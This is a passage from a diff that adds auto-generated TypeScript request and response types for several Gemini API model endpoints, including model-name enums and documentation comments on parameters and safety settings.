@description Required. The model's resource name. This serves as an ID for the Model to use. This name should match a model name returned by the `ListModels` method. Format: `models/{model}` + * @type string | undefined + */ + model?: GeminiPostV1BetaModelsModelsidEmbedcontentRequestModelEnumKey + /** + * @description Configurations for the EmbedContent request. + * @type object | undefined + */ + embedContentConfig?: EmbedContentConfig +} + +export type GeminiPostV1BetaModelsModelsidEmbedcontentOptions = { + body: GeminiPostV1BetaModelsModelsidEmbedcontentBody + path: GeminiPostV1BetaModelsModelsidEmbedcontentPath + query?: never + headers?: never +} + +export type GeminiPostV1BetaModelsModelsidEmbedcontentResponses = { + '200': GeminiPostV1BetaModelsModelsidEmbedcontentStatus200 +} + +/** + * @description Union of all possible responses + */ +export type GeminiPostV1BetaModelsModelsidEmbedcontentResponse = + GeminiPostV1BetaModelsModelsidEmbedcontentStatus200 + +export type GeminiPostV1BetaModelsModelsidEmbedtextPath = { + modelsId: string +} + +/** + * @description The response to a EmbedTextRequest. + * @type object + */ +export type GeminiPostV1BetaModelsModelsidEmbedtextStatus200 = { + /** + * @description A list of floats representing the embedding. + * @type object | undefined + */ + embedding?: Embedding +} + +export const geminiPostV1BetaModelsModelsidEmbedtextRequestModelEnum = { + 'antigravity-preview-05-2026': 'antigravity-preview-05-2026', + 'antigravity-preview-09-2026': 'antigravity-preview-09-2026', + 'antigravity-preview-latest': 'antigravity-preview-latest', + aqa: 'aqa', + 'deep-research-max-preview-04-2026': 'deep-research-max-preview-04-2026', + 'deep-research-preview-04-2026': 'deep-research-preview-04-2026', + 'deep-research-pro-preview-12-2025': 'deep-research-pro-preview-12-2025', + 'gemini-2.5-computer-use-preview-10-2025': + 'gemini-2.5-computer-use-preview-10-2025', + 'gemini-2.5-flash': 'gemini-2.5-flash', + 'gemini-2.5-flash-image': 'gemini-2.5-flash-image', + 'gemini-2.5-flash-lite': 'gemini-2.5-flash-lite', + 'gemini-2.5-flash-native-audio-latest': + 'gemini-2.5-flash-native-audio-latest', + 'gemini-2.5-flash-native-audio-preview-09-2025': + 'gemini-2.5-flash-native-audio-preview-09-2025', + 'gemini-2.5-flash-native-audio-preview-12-2025': + 'gemini-2.5-flash-native-audio-preview-12-2025', + 'gemini-2.5-flash-preview-tts': 'gemini-2.5-flash-preview-tts', + 'gemini-2.5-pro': 'gemini-2.5-pro', + 'gemini-2.5-pro-preview-tts': 'gemini-2.5-pro-preview-tts', + 'gemini-3.1-flash-image': 'gemini-3.1-flash-image', + 'gemini-3.1-flash-image-preview': 'gemini-3.1-flash-image-preview', + 'gemini-3.1-flash-lite': 'gemini-3.1-flash-lite', + 'gemini-3.1-flash-lite-image': 'gemini-3.1-flash-lite-image', + 'gemini-3.1-flash-lite-preview': 'gemini-3.1-flash-lite-preview', + 'gemini-3.1-flash-live-preview': 'gemini-3.1-flash-live-preview', + 'gemini-3.1-flash-tts-preview': 'gemini-3.1-flash-tts-preview', + 'gemini-3.1-pro-preview': 'gemini-3.1-pro-preview', + 'gemini-3.1-pro-preview-customtools': 'gemini-3.1-pro-preview-customtools', + 'gemini-3.5-flash': 'gemini-3.5-flash', + 'gemini-3.5-flash-lite': 'gemini-3.5-flash-lite', + 'gemini-3.5-live-translate-preview': 'gemini-3.5-live-translate-preview', + 'gemini-3.5-transcribe': 'gemini-3.5-transcribe', + 'gemini-3.5-transcribe-live': 'gemini-3.5-transcribe-live', + 'gemini-3.6-flash': 'gemini-3.6-flash', + 'gemini-3.7-flash': 'gemini-3.7-flash', + 'gemini-3.8-flash': 'gemini-3.8-flash', + 'gemini-3.8-flash-lite-tts': 'gemini-3.8-flash-lite-tts', + 'gemini-3.8-flash-tts': 'gemini-3.8-flash-tts', + 'gemini-3.8-live': 'gemini-3.8-live', + 'gemini-3.8-live-extended-thinking': 'gemini-3.8-live-extended-thinking', + 'gemini-3-flash-preview': 'gemini-3-flash-preview', + 'gemini-3-pro-image': 'gemini-3-pro-image', + 'gemini-3-pro-image-preview': 'gemini-3-pro-image-preview', + 'gemini-4-argon': 'gemini-4-argon', + 'gemini-embedding-001': 'gemini-embedding-001', + 'gemini-embedding-2': 'gemini-embedding-2', + 'gemini-embedding-2-preview': 'gemini-embedding-2-preview', + 'gemini-flash-latest': 'gemini-flash-latest', + 'gemini-flash-lite-latest': 'gemini-flash-lite-latest', + 'gemini-nano-banana-2.1': 'gemini-nano-banana-2.1', + 'gemini-omni-1.1-flash': 'gemini-omni-1.1-flash', + 'gemini-omni-1.2-flash': 'gemini-omni-1.2-flash', + 'gemini-omni-flash-preview': 'gemini-omni-flash-preview', + 'gemini-pro-latest': 'gemini-pro-latest', + 'gemini-robotics-er-2-preview': 'gemini-robotics-er-2-preview', + 'gemini-robotics-er-2-streaming-preview': + 'gemini-robotics-er-2-streaming-preview', + 'gemma-4-26b-a4b-it': 'gemma-4-26b-a4b-it', + 'gemma-4-31b-it': 'gemma-4-31b-it', + 'lyria-3.5': 'lyria-3.5', + 'lyria-3-clip-preview': 'lyria-3-clip-preview', + 'lyria-3-pro-preview': 'lyria-3-pro-preview', + 'lyria-realtime-exp': 'lyria-realtime-exp', + 'nano-banana-pro-preview': 'nano-banana-pro-preview', +} as const + +export type GeminiPostV1BetaModelsModelsidEmbedtextRequestModelEnumKey = + (typeof geminiPostV1BetaModelsModelsidEmbedtextRequestModelEnum)[keyof typeof geminiPostV1BetaModelsModelsidEmbedtextRequestModelEnum] + +/** + * @description Request to get a text embedding from the model. + * @type object + */ +export type GeminiPostV1BetaModelsModelsidEmbedtextBody = { + /** + * @description Required. The model name to use with the format model=models/{model}. + * @type string | undefined + */ + model?: GeminiPostV1BetaModelsModelsidEmbedtextRequestModelEnumKey + /** + * @description Optional. The free-form input text that the model will turn into an embedding. + * @type string | undefined + */ + text?: string +} + +export type GeminiPostV1BetaModelsModelsidEmbedtextOptions = { + body: GeminiPostV1BetaModelsModelsidEmbedtextBody + path: GeminiPostV1BetaModelsModelsidEmbedtextPath + query?: never + headers?: never +} + +export type GeminiPostV1BetaModelsModelsidEmbedtextResponses = { + '200': GeminiPostV1BetaModelsModelsidEmbedtextStatus200 +} + +/** + * @description Union of all possible responses + */ +export type GeminiPostV1BetaModelsModelsidEmbedtextResponse = + GeminiPostV1BetaModelsModelsidEmbedtextStatus200 + +export type GeminiPostV1BetaModelsModelsidGenerateanswerPath = { + modelsId: string +} + +/** + * @description Response from the model for a grounded answer. + * @type object + */ +export type GeminiPostV1BetaModelsModelsidGenerateanswerStatus200 = { + /** + * @description Output only. The model's estimate of the probability that its answer is correct and grounded in the input passages. A low `answerable_probability` indicates that the answer might not be grounded in the sources. When `answerable_probability` is low, you may want to: * Display a message to the effect of "We couldn’t answer that question" to the user. * Fall back to a general-purpose LLM that answers the question from world knowledge. The threshold and nature of such fallbacks will depend on individual use cases. `0.5` is a good starting threshold. + * + * Format: `float` + * @type number | undefined + */ + answerableProbability?: number + /** + * @description Feedback related to the input data used to answer the question, as opposed to the model-generated response to the question. + * @type object | undefined + */ + inputFeedback?: InputFeedback + /** + * @description A response candidate generated from the model. + * @type object | undefined + */ + answer?: CandidateE92B326B +} + +export const geminiPostV1BetaModelsModelsidGenerateanswerRequestAnswerStyleEnum = + { + ANSWER_STYLE_UNSPECIFIED: 'ANSWER_STYLE_UNSPECIFIED', + ABSTRACTIVE: 'ABSTRACTIVE', + EXTRACTIVE: 'EXTRACTIVE', + VERBOSE: 'VERBOSE', + } as const + +export type GeminiPostV1BetaModelsModelsidGenerateanswerRequestAnswerStyleEnumKey = + (typeof geminiPostV1BetaModelsModelsidGenerateanswerRequestAnswerStyleEnum)[keyof typeof geminiPostV1BetaModelsModelsidGenerateanswerRequestAnswerStyleEnum] + +/** + * @description Request to generate a grounded answer from the `Model`. + * @type object + */ +export type GeminiPostV1BetaModelsModelsidGenerateanswerBody = { + /** + * @description Configuration for retrieving grounding content from a `Corpus` or `Document` created using the Semantic Retriever API. + * @type object | undefined + */ + semanticRetriever?: SemanticRetrieverConfig + /** + * @description Required. Style in which answers should be returned. + * @type string | undefined + */ + answerStyle?: GeminiPostV1BetaModelsModelsidGenerateanswerRequestAnswerStyleEnumKey + /** + * @description A repeated list of passages. + * @type object | undefined + */ + inlinePassages?: GroundingPassages + /** + * @description Optional. A list of unique `SafetySetting` instances for blocking unsafe content. This will be enforced on the `GenerateAnswerRequest.contents` and `GenerateAnswerResponse.candidate`. There should not be more than one setting for each `SafetyCategory` type. The API will block any contents and responses that fail to meet the thresholds set by these settings. This list overrides the default settings for each `SafetyCategory` specified in the safety_settings. If there is no `SafetySetting` for a given `SafetyCategory` provided in the list, the API will use the default safety setting for that category. Harm categories HARM_CATEGORY_HATE_SPEECH, HARM_CATEGORY_SEXUALLY_EXPLICIT, HARM_CATEGORY_DANGEROUS_CONTENT, HARM_CATEGORY_HARASSMENT are supported. Refer to the [guide](https://aistudio.google.com/docs/safety-settings) for detailed information on available safety settings. Also refer to the [Safety guidance](https://aistudio.google.com/docs/safety-guidance) to learn how to incorporate safety considerations in your AI applications. + * @type array | undefined + */ + safetySettings?: SafetySetting[] + /** + * @description Required. The content of the current conversation with the `Model`. For single-turn queries, this is a single question to answer. For multi-turn queries, this is a repeated field that contains conversation history and the last `Content` in the list containing the question. Note: `GenerateAnswer` only supports queries in English. + * @type array | undefined + */ + contents?: ContentDee4A0Aa[] + /** + * @description Optional. Controls the randomness of the output. Values can range from [0.0,1.0], inclusive. A value closer to 1.0 will produce responses that are more varied and creative, while a value closer to 0.0 will typically result in more straightforward responses from the model. A low temperature (~0.2) is usually recommended for Attributed-Question-Answering use cases. + * + * Format: `float` + * @type number | undefined + */ + temperature?: number +} + +export type GeminiPostV1BetaModelsModelsidGenerateanswerOptions = { + body: GeminiPostV1BetaModelsModelsidGenerateanswerBody + path: GeminiPostV1BetaModelsModelsidGenerateanswerPath + query?: never + headers?: never +} + +export type GeminiPostV1BetaModelsModelsidGenerateanswerResponses = { + '200': GeminiPostV1BetaModelsModelsidGenerateanswerStatus200 +} + +/** + * @description Union of all possible responses + */ +export type GeminiPostV1BetaModelsModelsidGenerateanswerResponse = + GeminiPostV1BetaModelsModelsidGenerateanswerStatus200 + +export type GeminiPostV1BetaModelsModelsidGeneratecontentPath = { + modelsId: string +} + +/** + * @description Response from the model supporting multiple candidate responses. Safety ratings and content filtering are reported for both prompt in `GenerateContentResponse.prompt_feedback` and for each candidate in `finish_reason` and in `safety_ratings`. The API: - Returns either all requested candidates or none of them - Returns no candidates at all only if there was something wrong with the prompt (check `prompt_feedback`) - Reports feedback on each candidate in `finish_reason` and `safety_ratings`. + * @type object + */ +export type GeminiPostV1BetaModelsModelsidGeneratecontentStatus200 = { + /** + * @description Output only. response_id is used to identify each response. + * @type string | undefined + */ + responseId?: string + /** + * @description Candidate responses from the model. + * @type array | undefined + */ + candidates?: Candidate7Cd0B73F[] + /** + * @description The status of the underlying model. This is used to indicate the stage of the underlying model and the retirement time if applicable. + * @type object | undefined + */ + modelStatus?: ModelStatus + /** + * @description Output only. The model version used to generate the response. + * @type string | undefined + */ + modelVersion?: string + /** + * @description A set of the feedback metadata the prompt specified in `GenerateContentRequest.content`. + * @type object | undefined + */ + promptFeedback?: PromptFeedback + /** + * @description Metadata on the generation request's token usage. + * @type object | undefined + */ + usageMetadata?: UsageMetadata +} + +export const geminiPostV1BetaModelsModelsidGeneratecontentRequestServiceTierEnum = + { + unspecified: 'unspecified', + standard: 'standard', + flex: 'flex', + priority: 'priority', + } as const + +export type GeminiPostV1BetaModelsModelsidGeneratecontentRequestServiceTierEnumKey = + (typeof geminiPostV1BetaModelsModelsidGeneratecontentRequestServiceTierEnum)[keyof typeof geminiPostV1BetaModelsModelsidGeneratecontentRequestServiceTierEnum] + +export const geminiPostV1BetaModelsModelsidGeneratecontentRequestModelEnum = { + 'antigravity-preview-05-2026': 'antigravity-preview-05-2026', + 'antigravity-preview-09-2026': 'antigravity-preview-09-2026', + 'antigravity-preview-latest': 'antigravity-preview-latest', + aqa: 'aqa', + 'deep-research-max-preview-04-2026': 'deep-research-max-preview-04-2026', + 'deep-research-preview-04-2026': 'deep-research-preview-04-2026', + 'deep-research-pro-preview-12-2025': 'deep-research-pro-preview-12-2025', + 'gemini-2.5-computer-use-preview-10-2025': + 'gemini-2.5-computer-use-preview-10-2025', + 'gemini-2.5-flash': 'gemini-2.5-flash', + 'gemini-2.5-flash-image': 'gemini-2.5-flash-image', + 'gemini-2.5-flash-lite': 'gemini-2.5-flash-lite', + 'gemini-2.5-flash-native-audio-latest': + 'gemini-2.5-flash-native-audio-latest', + 'gemini-2.5-flash-native-audio-preview-09-2025': + 'gemini-2.5-flash-native-audio-preview-09-2025', + 'gemini-2.5-flash-native-audio-preview-12-2025': + 'gemini-2.5-flash-native-audio-preview-12-2025', + 'gemini-2.5-flash-preview-tts': 'gemini-2.5-flash-preview-tts', + 'gemini-2.5-pro': 'gemini-2.5-pro', + 'gemini-2.5-pro-preview-tts': 'gemini-2.5-pro-preview-tts', + 'gemini-3.1-flash-image': 'gemini-3.1-flash-image', + 'gemini-3.1-flash-image-preview': 'gemini-3.1-flash-image-preview', + 'gemini-3.1-flash-lite': 'gemini-3.1-flash-lite', + 'gemini-3.1-flash-lite-image': 'gemini-3.1-flash-lite-image', + 'gemini-3.1-flash-lite-preview': 'gemini-3.1-flash-lite-preview', + 'gemini-3.1-flash-live-preview': 'gemini-3.1-flash-live-preview', + 'gemini-3.1-flash-tts-preview': 'gemini-3.1-flash-tts-preview', + 'gemini-3.1-pro-preview': 'gemini-3.1-pro-preview', + 'gemini-3.1-pro-preview-customtools': 'gemini-3.1-pro-preview-customtools', + 'gemini-3.5-flash': 'gemini-3.5-flash', + 'gemini-3.5-flash-lite': 'gemini-3.5-flash-lite', + 'gemini-3.5-live-translate-preview': 'gemini-3.5-live-translate-preview', + 'gemini-3.5-transcribe': 'gemini-3.5-transcribe', + 'gemini-3.5-transcribe-live': 'gemini-3.5-transcribe-live', + 'gemini-3.6-flash': 'gemini-3.6-flash', + 'gemini-3.7-flash': 'gemini-3.7-flash', + 'gemini-3.8-flash': 'gemini-3.8-flash', + 'gemini-3.8-flash-lite-tts': 'gemini-3.8-flash-lite-tts', + 'gemini-3.8-flash-tts': 'gemini-3.8-flash-tts', + 'gemini-3.8-live': 'gemini-3.8-live', + 'gemini-3.8-live-extended-thinking': 'gemini-3.8-live-extended-thinking', + 'gemini-3-flash-preview': 'gemini-3-flash-preview', + 'gemini-3-pro-image': 'gemini-3-pro-image', + 'gemini-3-pro-image-preview': 'gemini-3-pro-image-preview', + 'gemini-4-argon': 'gemini-4-argon', + 'gemini-embedding-001': 'gemini-embedding-001', + 'gemini-embedding-2': 'gemini-embedding-2', + 'gemini-embedding-2-preview': 'gemini-embedding-2-preview', + 'gemini-flash-latest': 'gemini-flash-latest', + 'gemini-flash-lite-latest': 'gemini-flash-lite-latest', + 'gemini-nano-banana-2.1': 'gemini-nano-banana-2.1', + 'gemini-omni-1.1-flash': 'gemini-omni-1.1-flash', + 'gemini-omni-1.2-flash': 'gemini-omni-1.2-flash', + 'gemini-omni-flash-preview': 'gemini-omni-flash-preview', + 'gemini-pro-latest': 'gemini-pro-latest', + 'gemini-robotics-er-2-preview': 'gemini-robotics-er-2-preview', + 'gemini-robotics-er-2-streaming-preview': + 'gemini-robotics-er-2-streaming-preview', + 'gemma-4-26b-a4b-it': 'gemma-4-26b-a4b-it', + 'gemma-4-31b-it': 'gemma-4-31b-it', + 'lyria-3.5': 'lyria-3.5', + 'lyria-3-clip-preview': 'lyria-3-clip-preview', + 'lyria-3-pro-preview': 'lyria-3-pro-preview', + 'lyria-realtime-exp': 'lyria-realtime-exp', + 'nano-banana-pro-preview': 'nano-banana-pro-preview', +} as const + +export type GeminiPostV1BetaModelsModelsidGeneratecontentRequestModelEnumKey = + (typeof geminiPostV1BetaModelsModelsidGeneratecontentRequestModelEnum)[keyof typeof geminiPostV1BetaModelsModelsidGeneratecontentRequestModelEnum] + +/** + * @description Request to generate a completion from the model. + * @type object + */ +export type GeminiPostV1BetaModelsModelsidGeneratecontentBody = { + /** + * @description Required. The content of the current conversation with the model. For single-turn queries, this is a single instance. For multi-turn queries like [chat](https://aistudio.google.com/docs/text-generation#multi-turn-conversations), this is a repeated field that contains the conversation history and the latest request. + * @type array | undefined + */ + contents?: Content[] + /** + * @description Optional. A list of unique `SafetySetting` instances for blocking unsafe content. This will be enforced on the `GenerateContentRequest.contents` and `GenerateContentResponse.candidates`. There should not be more than one setting for each `SafetyCategory` type. The API will block any contents and responses that fail to meet the thresholds set by these settings. This list overrides the default settings for each `SafetyCategory` specified in the safety_settings. If there is no `SafetySetting` for a given `SafetyCategory` provided in the list, the API will use the default safety setting for that category. Harm categories HARM_CATEGORY_HATE_SPEECH, HARM_CATEGORY_SEXUALLY_EXPLICIT, HARM_CATEGORY_DANGEROUS_CONTENT, HARM_CATEGORY_HARASSMENT, HARM_CATEGORY_CIVIC_INTEGRITY, HARM_CATEGORY_JAILBREAK are supported. Refer to the [guide](https://aistudio.google.com/docs/safety-settings) for detailed information on available safety settings. Also refer to the [Safety guidance](https://aistudio.google.com/docs/safety-guidance) to learn how to incorporate safety considerations in your AI applications. + * @type array | undefined + */ + safetySettings?: SafetySetting[] + /** + * @description The Tool configuration containing parameters for specifying `Tool` use in the request. + * @type object | undefined + */ + toolConfig?: ToolConfig + /** + * @description Configuration options for model generation and outputs. Not all parameters are configurable for every model. + * @type object | undefined + */ + generationConfig?: GenerationConfig + /** + * @description Optional. The service tier of the request. + * @type string | undefined + */ + serviceTier?: GeminiPostV1BetaModelsModelsidGeneratecontentRequestServiceTierEnumKey + /** + * @description Optional. A list of `Tools` the `Model` may use to generate the next response. A `Tool` is a piece of code that enables the system to interact with external systems to perform an action, or set of actions, outside of knowledge and scope of the `Model`. Supported `Tool`s are `Function` and `code_execution`. Refer to the [Function calling](https://aistudio.google.com/docs/function-calling) and the [Code execution](https://aistudio.google.com/docs/code-execution) guides to learn more. + * @type array | undefined + */ + tools?: Tool[] + /** + * @description Optional. Configures the logging behavior for a given request. If set, it takes precedence over the project-level logging config. + * @type boolean | undefined + */ + store?: boolean + /** + * @description Optional. The name of the content [cached](https://aistudio.google.com/docs/caching) to use as context to serve the prediction. Format: `cachedContents/{cachedContent}` + * @type string | undefined + */ + cachedContent?: string + /** + * @description Optional. An opaque continuation token used to resume generation from a previous `GenerateContent` or `StreamGenerateContent` response that stopped with `finish_reason` set to `CONTINUATION`. Note that `contents` is mandatory and must identically replicate the prompt and conversation history from the initial request when continuation token is provided in a request. + * @type string | undefined + */ + continuationToken?: string + /** + * @description Required. The name of the `Model` to use for generating the completion. Format: `models/{model}`. + * @type string | undefined + */ + model?: GeminiPostV1BetaModelsModelsidGeneratecontentRequestModelEnumKey + /** + * @description The base structured datatype containing multi-part content of a message. A `Content` includes a `role` field designating the producer of the `Content` and a `parts` field containing multi-part data that contains the content of the message turn. + * @type object | undefined + */ + systemInstruction?: Content + /** + * @description Optional. Labels with user-defined metadata for the request. Optional. Labels must follow standard unified Cloud label requirements: - Label keys must start with a letter. - Label keys and values can be no longer than 63 characters (Unicode codepoints) and can only contain lowercase letters, numeric characters, underscores, and dashes. - International characters are allowed. Usage: - Safety identifiers from aggregators: Use the key `safety_identifier` (e.g. `{"safety_identifier": "user_session_123"}`) + * @type object | undefined + */ + labels?: { + [key: string]: string + } +} + +export type GeminiPostV1BetaModelsModelsidGeneratecontentOptions = { + body: GeminiPostV1BetaModelsModelsidGeneratecontentBody + path: GeminiPostV1BetaModelsModelsidGeneratecontentPath + query?: never + headers?: never +} + +export type GeminiPostV1BetaModelsModelsidGeneratecontentResponses = { + '200': GeminiPostV1BetaModelsModelsidGeneratecontentStatus200 +} + +/** + * @description Union of all possible responses + */ +export type GeminiPostV1BetaModelsModelsidGeneratecontentResponse = + GeminiPostV1BetaModelsModelsidGeneratecontentStatus200 + +export type GeminiPostV1BetaModelsModelsidGeneratemessagePath = { + modelsId: string +} + +/** + * @description The response from the model. This includes candidate messages and conversation history in the form of chronologically-ordered messages. + * @type object + */ +export type GeminiPostV1BetaModelsModelsidGeneratemessageStatus200 = { + /** + * @description The conversation history used by the model. + * @type array | undefined + */ + messages?: Message[] + /** + * @description A set of content filtering metadata for the prompt and response text. This indicates which `SafetyCategory`(s) blocked a candidate from this response, the lowest `HarmProbability` that triggered a block, and the HarmThreshold setting for that category. + * @type array | undefined + */ + filters?: ContentFilter[] + /** + * @description Candidate response messages from the model. + * @type array | undefined + */ + candidates?: Message[] +} + +/** + * @description Request to generate a message response from the model. + * @type object + */ +export type GeminiPostV1BetaModelsModelsidGeneratemessageBody = { + /** + * @description Optional. Controls the randomness of the output. Values can range over `[0.0,1.0]`, inclusive. A value closer to `1.0` will produce responses that are more varied, while a value closer to `0.0` will typically result in less surprising responses from the model. + * + * Format: `float` + * @type number | undefined + */ + temperature?: number + /** + * @description All of the structured input text passed to the model as a prompt. A `MessagePrompt` contains a structured set of fields that provide context for the conversation, examples of user input/model output message pairs that prime the model to respond in different ways, and the conversation history or list of messages representing the alternating turns of the conversation between the user and the model. + * @type object | undefined + */ + prompt?: MessagePrompt + /** + * @description Optional. The maximum cumulative probability of tokens to consider when sampling. The model uses combined Top-k and nucleus sampling. Nucleus sampling considers the smallest set of tokens whose probability sum is at least `top_p`. + * + * Format: `float` + * @type number | undefined + */ + topP?: number + /** + * @description Optional. The maximum number of tokens to consider when sampling. The model uses combined Top-k and nucleus sampling. Top-k sampling considers the set of `top_k` most probable tokens. + * + * Format: `int32` + * @type integer | undefined + */ + topK?: number + /** + * @description Optional. The number of generated response messages to return. This value must be between `[1, 8]`, inclusive. If unset, this will default to `1`. + * + * Format: `int32` + * @type integer | undefined + */ + candidateCount?: number +} + +export type GeminiPostV1BetaModelsModelsidGeneratemessageOptions = { + body: GeminiPostV1BetaModelsModelsidGeneratemessageBody + path: GeminiPostV1BetaModelsModelsidGeneratemessagePath + query?: never + headers?: never +} + +export type GeminiPostV1BetaModelsModelsidGeneratemessageResponses = { + '200': GeminiPostV1BetaModelsModelsidGeneratemessageStatus200 +} + +/** + * @description Union of all possible responses + */ +export type GeminiPostV1BetaModelsModelsidGeneratemessageResponse = + GeminiPostV1BetaModelsModelsidGeneratemessageStatus200 + +export type GeminiPostV1BetaModelsModelsidGeneratetextPath = { + modelsId: string +} + +/** + * @description The response from the model, including candidate completions. + * @type object + */ +export type GeminiPostV1BetaModelsModelsidGeneratetextStatus200 = { + /** + * @description Candidate responses from the model. + * @type array | undefined + */ + candidates?: TextCompletion[] + /** + * @description Returns any safety feedback related to content filtering. + * @type array | undefined + */ + safetyFeedback?: SafetyFeedback[] + /** + * @description A set of content filtering metadata for the prompt and response text. This indicates which `SafetyCategory`(s) blocked a candidate from this response, the lowest `HarmProbability` that triggered a block, and the HarmThreshold setting for that category. This indicates the smallest change to the `SafetySettings` that would be necessary to unblock at least 1 response. The blocking is configured by the `SafetySettings` in the request (or the default `SafetySettings` of the API). + * @type array | undefined + */ + filters?: ContentFilterFeb8Ceeb[] +} + +/** + * @description Request to generate a text completion response from the model. + * @type object + */ +export type GeminiPostV1BetaModelsModelsidGeneratetextBody = { + /** + * @description Optional. The maximum number of tokens to consider when sampling. The model uses combined Top-k and nucleus sampling. Top-k sampling considers the set of `top_k` most probable tokens. Defaults to 40. Note: The default value varies by model, see the `Model.top_k` attribute of the `Model` returned the `getModel` function. + * + * Format: `int32` + * @type integer | undefined + */ + topK?: number + /** + * @description Optional. A list of unique `SafetySetting` instances for blocking unsafe content. that will be enforced on the `GenerateTextRequest.prompt` and `GenerateTextResponse.candidates`. There should not be more than one setting for each `SafetyCategory` type. The API will block any prompts and responses that fail to meet the thresholds set by these settings. This list overrides the default settings for each `SafetyCategory` specified in the safety_settings. If there is no `SafetySetting` for a given `SafetyCategory` provided in the list, the API will use the default safety setting for that category. Harm categories HARM_CATEGORY_DEROGATORY, HARM_CATEGORY_TOXICITY, HARM_CATEGORY_VIOLENCE, HARM_CATEGORY_SEXUAL, HARM_CATEGORY_MEDICAL, HARM_CATEGORY_DANGEROUS are supported in text service. + * @type array | undefined + */ + safetySettings?: SafetySetting46E68Be6[] + /** + * @description The set of character sequences (up to 5) that will stop output generation. If specified, the API will stop at the first appearance of a stop sequence. The stop sequence will not be included as part of the response. + * @type array | undefined + */ + stopSequences?: string[] + /** + * @description Optional. The maximum number of tokens to include in a candidate. If unset, this will default to output_token_limit specified in the `Model` specification. + * + * Format: `int32` + * @type integer | undefined + */ + maxOutputTokens?: number + /** + * @description Optional. The maximum cumulative probability of tokens to consider when sampling. The model uses combined Top-k and nucleus sampling. Tokens are sorted based on their assigned probabilities so that only the most likely tokens are considered. Top-k sampling directly limits the maximum number of tokens to consider, while Nucleus sampling limits number of tokens based on the cumulative probability. Note: The default value varies by model, see the `Model.top_p` attribute of the `Model` returned the `getModel` function. + * + * Format: `float` + * @type number | undefined + */ + topP?: number + /** + * @description Text given to the model as a prompt. The Model will use this TextPrompt to Generate a text completion. + * @type object | undefined + */ + prompt?: TextPrompt + /** + * @description Optional. Controls the randomness of the output. Note: The default value varies by model, see the `Model.temperature` attribute of the `Model` returned the `getModel` function. Values can range from [0.0,1.0], inclusive. A value closer to 1.0 will produce responses that are more varied and creative, while a value closer to 0.0 will typically result in more straightforward responses from the model. + * + * Format: `float` + * @type number | undefined + */ + temperature?: number + /** + * @description Optional. Number of generated responses to return. This value must be between [1, 8], inclusive. If unset, this will default to 1. + * + * Format: `int32` + * @type integer | undefined + */ + candidateCount?: number +} + +export type GeminiPostV1BetaModelsModelsidGeneratetextOptions = { + body: GeminiPostV1BetaModelsModelsidGeneratetextBody + path: GeminiPostV1BetaModelsModelsidGeneratetextPath + query?: never + headers?: never +} + +export type GeminiPostV1BetaModelsModelsidGeneratetextResponses = { + '200': GeminiPostV1BetaModelsModelsidGeneratetextStatus200 +} + +/** + * @description Union of all possible responses + */ +export type GeminiPostV1BetaModelsModelsidGeneratetextResponse = + GeminiPostV1BetaModelsModelsidGeneratetextStatus200 + +export type GeminiPostV1BetaModelsModelsidPredictPath = { + modelsId: string +} + +/** + * @description Response message for [PredictionService.Predict]. + * @type object + */ +export type GeminiPostV1BetaModelsModelsidPredictStatus200 = { + /** + * @description The outputs of the prediction call. + * @type array | undefined + */ + predictions?: unknown[] +} + +/** + * @description Request message for PredictionService.Predict. + * @type object + */ +export type GeminiPostV1BetaModelsModelsidPredictBody = { + /** + * @description Optional. The parameters that govern the prediction call. + * @type unknown | undefined + */ + parameters?: unknown + /** + * @description Required. The instances that are the input to the prediction call. + * @type array | undefined + */ + instances?: unknown[] + /** + * @description Optional. Labels with user-defined metadata for the request. Optional. Labels must follow standard unified Cloud label requirements: - Label keys must start with a letter. - Label keys and values can be no longer than 63 characters (Unicode codepoints) and can only contain lowercase letters, numeric characters, underscores, and dashes. - International characters are allowed. Usage: - Safety identifiers from aggregators: Use the key `safety_identifier` (e.g. `{"safety_identifier": "user_session_123"}`) + * @type object | undefined + */ + labels?: { + [key: string]: string + } +} + +export type GeminiPostV1BetaModelsModelsidPredictOptions = { + body: GeminiPostV1BetaModelsModelsidPredictBody + path: GeminiPostV1BetaModelsModelsidPredictPath + query?: never + headers?: never +} + +export type GeminiPostV1BetaModelsModelsidPredictResponses = { + '200': GeminiPostV1BetaModelsModelsidPredictStatus200 +} + +/** + * @description Union of all possible responses + */ +export type GeminiPostV1BetaModelsModelsidPredictResponse = + GeminiPostV1BetaModelsModelsidPredictStatus200 + +export type GeminiPostV1BetaModelsModelsidPredictlongrunningPath = { + modelsId: string +} + +/** + * @description This resource represents a long-running operation that is the result of a network API call. + * @type object + */ +export type GeminiPostV1BetaModelsModelsidPredictlongrunningStatus200 = { + /** + * @description The server-assigned name, which is only unique within the same service that originally returns it. If you use the default HTTP mapping, the `name` should be a resource name ending with `operations/{unique_id}`. + * @type string | undefined + */ + name?: string + /** + * @description The `Status` type defines a logical error model that is suitable for different programming environments, including REST APIs and RPC APIs. It is used by [gRPC](https://github.com/grpc). Each `Status` message contains three pieces of data: error code, error message, and error details. You can find out more about this error model and how to work with it in the [API Design Guide](https://cloud.google.com/apis/design/errors). + * @type object | undefined + */ + error?: Status + /** + * @description The normal, successful response of the operation. If the original method returns no data on success, such as `Delete`, the response is `google.protobuf.Empty`. If the original method is standard `Get`/`Create`/`Update`, the response should be the resource. For other methods, the response should have the type `XxxResponse`, where `Xxx` is the original method name. For example, if the original method name is `TakeSnapshot()`, the inferred response type is `TakeSnapshotResponse`. + * @type object | undefined + */ + response?: { + [key: string]: unknown + } + /** + * @description If the value is `false`, it means the operation is still in progress. If `true`, the operation is completed, and either `error` or `response` is available. + * @type boolean | undefined + */ + done?: boolean + /** + * @description Service-specific metadata associated with the operation. It typically contains progress information and common metadata such as create time. Some services might not provide such metadata. Any method that returns a long-running operation should document the metadata type, if any. + * @type object | undefined + */ + metadata?: { + [key: string]: unknown + } +} + +/** + * @description Request message for [PredictionService.PredictLongRunning]. + * @type object + */ +export type GeminiPostV1BetaModelsModelsidPredictlongrunningBody = { + /** + * @description Optional. The parameters that govern the prediction call. + * @type unknown | undefined + */ + parameters?: unknown + /** + * @description Optional. Labels with user-defined metadata for the request. Optional. Labels must follow standard unified Cloud label requirements: - Label keys must start with a letter. - Label keys and values can be no longer than 63 characters (Unicode codepoints) and can only contain lowercase letters, numeric characters, underscores, and dashes. - International characters are allowed. Usage: - Safety identifiers from aggregators: Use the key `safety_identifier` (e.g. `{"safety_identifier": "user_session_123"}`) + * @type object | undefined + */ + labels?: { + [key: string]: string + } + /** + * @description Required. The instances that are the input to the prediction call. + * @type array | undefined + */ + instances?: unknown[] +} + +export type GeminiPostV1BetaModelsModelsidPredictlongrunningOptions = { + body: 